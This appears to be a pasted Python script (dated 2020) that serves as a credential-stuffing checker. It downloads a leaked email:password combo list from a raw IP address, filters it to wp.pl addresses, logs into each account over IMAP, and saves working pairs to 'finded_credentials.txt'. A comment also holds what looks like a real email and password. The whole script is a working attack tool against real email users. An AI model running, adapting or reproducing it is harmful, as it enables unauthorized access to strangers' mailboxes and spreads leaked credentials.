· 5 years ago · Jul 29, 2020, 08:54 PM
1import requests
2import imaplib
3import time
4
5def write_raw_to_file(filename, link):
6 """
7 :param filename: file name to insert raw data from link
8 :param link: raw data link
9 """
10 try:
11 r = requests.get(link).text
12 with open(filename, 'w', encoding='utf-8', newline='\n') as f:
13 f.write(r)
14 except Exception as e:
15 print(e)
16
17
18def extract_specific_server_emails(filename, ending):
19 """
20 Extracting emails from file
21 Usage: extract_specific_server_emails("filename.txt", "wp.pl")
22 :param filename:
23 :param ending: email server ('wp.pl'), ('interia.pl'), ('gmail.com')
24 :return: New file with extracted emails
25 """
26
27 with open(filename, 'r', encoding='utf-8') as f:
28 content = f.readlines()
29 for line in content:
30 if ending in line:
31 with open(f"{ending}.txt", 'a', encoding='utf-8') as f:
32 f.write(line)
33 print('Done')
34
35
36def write_correct_credentials_to_file(filename, login, password):
37 try:
38 content = f"{login}:{password}\n"
39 with open(filename, 'a', encoding='utf-8', newline='\n') as f:
40 f.write(content)
41 except Exception as e:
42 print(e)
43
44
45def email_login(login, password, imap, port):
46
47 """
48 :param login: email
49 :param password: password
50 :param imap: server's imap
51 :param port: server's port
52 :return: True or False
53 """
54 try:
55 m = imaplib.IMAP4_SSL(imap, port)
56 m.login(login, password)
57 write_correct_credentials_to_file("finded_credentials.txt", login, password)
58 print(f'[+] {login} : {password}')
59 m.logout()
60 except:
61 print(f'[-] {login} : {password}')
62
63
64def check_login(filename, imap, port):
65 """
66 Checking all emails and passwords from file
67 """
68 with open(filename, 'r', encoding='utf-8') as f:
69 content = f.read().split('\n')
70
71 for line in content:
72 try:
73 login, password = line.split(":")
74 email_login(login, password, imap, port)
75 except Exception as e:
76 print(e)
77
78
79write_raw_to_file('PL.txt', 'http://207.180.202.93/x/PL.txt')
80# email_login("wall-e201@wp.pl", "fenomen201", "imap.wp.pl", 993)
81extract_specific_server_emails("PL.txt", "wp.pl")
82check_login("wp.pl.txt", 'imap.wp.pl', 993)